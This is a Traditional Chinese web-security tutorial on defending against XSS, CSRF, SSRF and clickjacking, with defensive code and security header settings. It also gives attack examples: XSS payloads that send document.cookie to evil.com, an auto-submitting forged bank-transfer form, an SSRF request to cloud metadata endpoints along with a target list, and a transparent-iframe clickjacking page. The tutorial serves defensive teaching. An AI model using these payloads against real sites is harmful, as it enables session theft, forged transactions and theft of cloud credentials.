Web 安全攻防實戰:XSS、CSRF、SSRF 與點擊劫持的防禦體系

前端工程(更新於 2026年6月2日)

Web 安全威脅全景

威脅 影響面 嚴重度 防禦複雜度
XSS 資料竊取、會話劫持
CSRF 偽造操作、資金損失
SSRF 內網探測、服務攻擊
點擊劫持 誘導操作

一、XSS(跨站腳本攻擊)

三種 XSS 類型

類型 注入點 持久性 典型場景
儲存型 伺服器端儲存 持久 評論區、使用者暱稱
反射型 URL 參數 臨時 搜尋結果、錯誤提示
DOM 型 客戶端 JS 臨時 URL hash、document.write

儲存型 XSS 攻擊範例

<!-- 攻擊者在評論區注入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- 或更隱蔽的 img 標籤 -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- 或 SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

防禦一:輸出編碼

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// 使用
element.innerHTML = escapeHtml(userInput);

防禦二:CSP(Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
指令 含義 範例
default-src 預設策略 'self'
script-src JS 來源 'self' 'nonce-abc123'
style-src CSS 來源 'self' 'unsafe-inline'
img-src 圖片來源 'self' data: https:
connect-src fetch/XHR 來源 'self' https://api.example.com
frame-ancestors 嵌入來源 'none' (防點擊劫持)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly 阻止 JS 透過 document.cookie 讀取,即使 XSS 成功也無法竊取會話。

防禦四:Trusted Types

// 啟用 Trusted Types API
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// 之後所有 innerHTML 賦值必須經過策略
element.innerHTML = userInput; // 如果沒有策略,拋出錯誤

二、CSRF(跨站請求偽造)

攻擊原理

<!-- 攻擊者網站上的隱藏表單 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

使用者已登入銀行網站 → Cookie 自動攜帶 → 偽造請求成功。

Set-Cookie: session=abc; SameSite=Strict
跨站請求攜帶 適用場景
Strict 不攜帶 最安全,但從外部連結進入不帶 Cookie
Lax GET 請求攜帶 預設值,平衡安全與體驗
None 都攜帶 需配合 Secure,第三方場景

防禦二:CSRF Token

// 伺服器端生成 Token
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// 表單中嵌入
// <input type="hidden" name="_csrf" value="${csrfToken}">

// 伺服器端驗證
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 處理轉帳
});
// 前端:從 Cookie 讀取 CSRF Token,放入請求頭
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

防禦四:Origin/Referer 檢查

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

三、SSRF(伺服器端請求偽造)

攻擊範例

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 是 AWS 元資料服務,攻擊者可獲取 IAM 憑證。

常見內網目標

位址 服務 可獲取資訊
169.254.169.254 AWS 元資料 IAM 憑證、執行個體資訊
100.100.100.200 阿里雲元資料 安全憑證
metadata.google.internal GCP 元資料 Service Account Token
127.0.0.1:6379 Redis 資料、設定
127.0.0.1:9200 Elasticsearch 資料、叢集資訊

防禦一:URL 白名單

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // 阻止特殊 IP
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

防禦二:DNS 重綁定防護

// 先解析 DNS,再驗證 IP,再發起請求
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // 使用解析後的 IP 直接請求,避免 DNS 重綁定
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

四、點擊劫持(Clickjacking)

攻擊原理

<!-- 攻擊者網站 -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* 幾乎不可見 */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- 誘餌按鈕 -->
<button class="decoy-button">點擊領取優惠券</button>

<!-- 透明的目標網站 iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

使用者以為點擊「領取優惠券」,實際點擊了銀行轉帳按鈕。

防禦一:X-Frame-Options

X-Frame-Options: DENY
含義
DENY 任何頁面都不能嵌入
SAMEORIGIN 僅同源頁面可嵌入

防禦二:CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestorsX-Frame-Options 的現代替代,支援白名單。

防禦三:JS 幀破壞

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

五、縱深防禦體系

第1層:輸入驗證 —— 伺服器端校驗所有輸入
第2層:輸出編碼 —— 根據上下文轉義
第3層:CSP 策略 —— 限制資源載入
第4層:Cookie 安全 —— HttpOnly + SameSite + Secure
第5層:CSRF Token —— 驗證請求來源
第6層:Rate Limit —— 限制請求頻率
第7層:WAF —— Web 應用防火牆

安全回應標頭完整設定

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持